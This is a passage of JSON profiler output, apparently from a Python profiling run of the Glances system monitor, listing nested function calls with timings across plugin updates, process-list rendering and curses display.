\"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.010300,\"attributes\": {\"cProgramlistPlugin\": 0.010300447996996809, \"l678\": 0.008299718996568117, \"l686\": 0.0020007290004286915},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.008300,\"attributes\": {\"cProgramlistPlugin\": 0.008299718996568117, \"l633\": 0.0063044889975572005, \"l634\": 0.001995229999010917},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002004,\"attributes\": {\"cProgramlistPlugin\": 0.002004453999688849, \"l614\": 0.002004453999688849},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001995,\"attributes\": {\"cProgramlistPlugin\": 0.001995229999010917, \"l629\": 0.001995229999010917},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.004300,\"attributes\": {\"cProgramlistPlugin\": 0.004300034997868352, \"l614\": 0.0019989350039395504, \"l619\": 0.0023010999939288013},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002301,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001707,\"attributes\": {\"l1295\": 0.001706949005892966},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000109\",\"time\": 0.001707,\"attributes\": {\"cNetworkPlugin\": 0.001706949005892966, \"l116\": 0.001706949005892966},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.001707,\"attributes\": {\"cNetworkPlugin\": 0.001706949005892966, \"l1362\": 0.001706949005892966},\"children\": [{\"identifier\": \"compute_rate_on_list\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001339\",\"time\": 0.001707,\"attributes\": {\"cNetworkPlugin\": 0.001706949005892966, \"l1346\": 0.001706949005892966},\"children\": [{\"identifier\": \"compute_rate\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001307\",\"time\": 0.001707,\"attributes\": {\"cNetworkPlugin\": 0.001706949005892966, \"l1320\": 0.001706949005892966},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001707,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.026992,\"attributes\": {\"cProcesslistPlugin\": 0.026991567996446975, \"l678\": 0.026991567996446975},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.023609,\"attributes\": {\"cProcesslistPlugin\": 0.023608518997207284, \"l633\": 0.021619175997329876, \"l656\": 0.001989342999877408},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002005,\"attributes\": {\"cProcesslistPlugin\": 0.0020052679974469356, \"l621\": 0.0020052679974469356},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.019614,\"attributes\": {\"cProcesslistPlugin\": 0.01961390799988294, \"l619\": 0.017906312001287006, \"l621\": 0.0017075959985959344},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003303,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001708,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001708,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.014604,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001384,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000216\",\"time\": 0.002002,\"attributes\": {\"cSensorsPlugin\": 0.0020019119983771816, \"l236\": 0.0020019119983771816},\"children\": [{\"identifier\": \"__get_system_thresholds\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000201\",\"time\": 0.002002,\"attributes\": {\"cSensorsPlugin\": 0.0020019119983771816, \"l214\": 0.0020019119983771816},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.016193,\"attributes\": {\"cFsPlugin\": 0.01619337200099835, \"l1278\": 0.01619337200099835},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.016193,\"attributes\": {\"l1295\": 0.01619337200099835},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.016193,\"attributes\": {\"cFsPlugin\": 0.01619337200099835, \"l131\": 0.01619337200099835},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.016193,\"attributes\": {\"cFsPlugin\": 0.01619337200099835, \"l182\": 0.01619337200099835},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.016193,\"attributes\": {\"l630\": 0.0033080330031225458, \"l631\": 0.012885338997875806},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003308,\"attributes\": {\"cForkProcess\": 0.0033080330031225458, \"l121\": 0.0033080330031225458},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003308,\"attributes\": {\"l281\": 0.0033080330031225458},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003308,\"attributes\": {\"cPopen\": 0.0033080330031225458, \"l20\": 0.0033080330031225458},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003308,\"attributes\": {\"cPopen\": 0.0033080330031225458, \"l70\": 0.0033080330031225458},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003308,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.012885,\"attributes\": {\"cForkProcess\": 0.012885338997875806, \"l156\": 0.012885338997875806},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.012885,\"attributes\": {\"cPopen\": 0.012885338997875806, \"l41\": 0.012885338997875806},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.012885,\"attributes\": {\"l1165\": 0.012885338997875806},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.012885,\"attributes\": {\"cPollSelector\": 0.012885338997875806, \"l398\": 0.012885338997875806},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.012885,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005745,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.007140,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001897,\"attributes\": {\"l1295\": 0.0018970180026371963},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/core/__init__.py\\u000044\",\"time\": 0.001897,\"attributes\": {\"cCorePlugin\": 0.0018970180026371963, \"l62\": 0.0018970180026371963},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.001897,\"attributes\": {\"l1684\": 0.0018970180026371963},\"children\": [{\"identifier\": \"cpu_count_cores\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000564\",\"time\": 0.001897,\"attributes\": {\"l575\": 0.0018970180026371963},\"children\": [{\"identifier\": \"glob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000016\",\"time\": 0.001897,\"attributes\": {\"l31\": 0.0018970180026371963},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.001897,\"attributes\": {\"l99\": 0.0018970180026371963},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.001897,\"attributes\": {\"l99\": 0.0018970180026371963},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.001897,\"attributes\": {\"l100\": 0.0018970180026371963},\"children\": [{\"identifier\": \"_glob1\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u0000108\",\"time\": 0.001897,\"attributes\": {\"l112\": 0.0018970180026371963},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001897,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.001998,\"attributes\": {\"cQuicklookPlugin\": 0.0019983789970865473, \"l1278\": 0.0019983789970865473},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001998,\"attributes\": {\"l1295\": 0.0019983789970865473},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.001998,\"attributes\": {\"cQuicklookPlugin\": 0.0019983789970865473, \"l136\": 0.0019983789970865473},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.064334,\"attributes\": {\"cGlancesCursesStandalone\": 2.0643340750029893, \"l1154\": 0.054063699004473165, \"l1169\": 1.0055191969950101, \"l1172\": 1.004751179003506},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.054064,\"attributes\": {\"cGlancesCursesStandalone\": 0.054063699004473165, \"l1135\": 0.05190994599979604, \"l1136\": 0.002153753004677128},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.051910,\"attributes\": {\"cGlancesCursesStandalone\": 0.05190994599979604, \"l569\": 0.05190994599979604},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.051910,\"attributes\": {\"cGlancesCursesStandalone\": 0.05190994599979604, \"l545\": 0.05190994599979604},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.051910,\"attributes\": {\"cProgramlistPlugin\": 0.023910066003736574, \"l1101\": 0.05190994599979604, \"cProcesslistPlugin\": 0.025999031000537798, \"cMemPlugin\": 0.0020008489955216646},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.049909,\"attributes\": {\"cProgramlistPlugin\": 0.023910066003736574, \"l587\": 0.04990909700427437, \"cProcesslistPlugin\": 0.025999031000537798},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.049909,\"attributes\": {\"cProgramlistPlugin\": 0.023910066003736574, \"l538\": 0.04590853901027003, \"cProcesslistPlugin\": 0.025999031000537798, \"l537\": 0.004000557994004339},\"children\": [{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000521999434568, \"l405\": 0.002000521999434568},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002005,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001906,\"attributes\": {\"cProgramlistPlugin\": 0.0019062179999309592, \"l325\": 0.0019062179999309592},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001906,\"attributes\": {\"cProgramlistPlugin\": 0.0019062179999309592, \"l856\": 0.0019062179999309592},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001906,\"attributes\": {\"cProgramlistPlugin\": 0.0019062179999309592, \"l963\": 0.0019062179999309592},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001906,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019978350028395653, \"l397\": 0.0019978350028395653},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.001998,\"attributes\": {\"l98\": 0.0019978350028395653},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020006630002171732, \"l361\": 0.0020006630002171732},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020006630002171732, \"l350\": 0.0020006630002171732},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020006630002171732, \"l1251\": 0.0020006630002171732},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002001,\"attributes\": {\"l478\": 0.0020006630002171732},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.001999569998588413, \"l505\": 0.001999569998588413},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000211999984458, \"l361\": 0.002000211999984458},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000211999984458, \"l349\": 0.002000211999984458},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.002000,\"attributes\": {\"l242\": 0.002000211999984458},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000340995437, \"l429\": 0.002000340995437},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000340995437, \"l276\": 0.002000340995437},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000340995437, \"l969\": 0.002000340995437},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001999448999413289, \"l471\": 0.001999448999413289},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001999448999413289, \"l466\": 0.001999448999413289},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998989006096963, \"l361\": 0.001998989006096963},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998989006096963, \"l350\": 0.001998989006096963},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020017349961563013, \"l397\": 0.0020017349961563013},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001999033003812656, \"l360\": 0.001999033003812656},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001999033003812656, \"l340\": 0.001999033003812656},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002002327993977815, \"l500\": 0.002002327993977815},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002002,\"attributes\": {\"l51\": 0.002002327993977815},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019980530050816014, \"l309\": 0.0019980530050816014},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019980530050816014, \"l885\": 0.0019980530050816014},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001998806998017244, \"l500\": 0.001998806998017244},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.001999,\"attributes\": {\"l51\": 0.001998806998017244},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999712003453169, \"l409\": 0.001999712003453169},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020002620003651828, \"l325\": 0.0020002620003651828},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020002620003651828, \"l885\": 0.0020002620003651828},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020002620003651828, \"l907\": 0.0020002620003651828},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020002620003651828, \"l991\": 0.0020002620003651828},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019984559985459782, \"l417\": 0.0019984559985459782},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003450044896454, \"l471\": 0.0020003450044896454},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003450044896454, \"l465\": 0.0020003450044896454},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_username\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000370\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019996310002170503, \"l375\": 0.0019996310002170503},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000479998998344, \"l440\": 0.0020000479998998344},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000479998998344, \"l294\": 0.0020000479998998344},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000479998998344, \"l969\": 0.0020000479998998344},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999787004024256, \"l513\": 0.001999787004024256},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/mem/__init__.py\\u0000285\",\"time\": 0.002001,\"attributes\": {\"cMemPlugin\": 0.0020008489955216646, \"l291\": 0.0020008489955216646},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002154,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100565,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056513499876019, \"l291\": 0.10056513499876019},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100565,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056513499876019, \"l260\": 0.10056513499876019},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100565,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100565,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100516,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051572299562395, \"l1202\": 0.10051572299562395},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100516,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100516,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100561,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005611790023977, \"l291\": 0.1005611790023977},\"children\": [{\"identifier\": 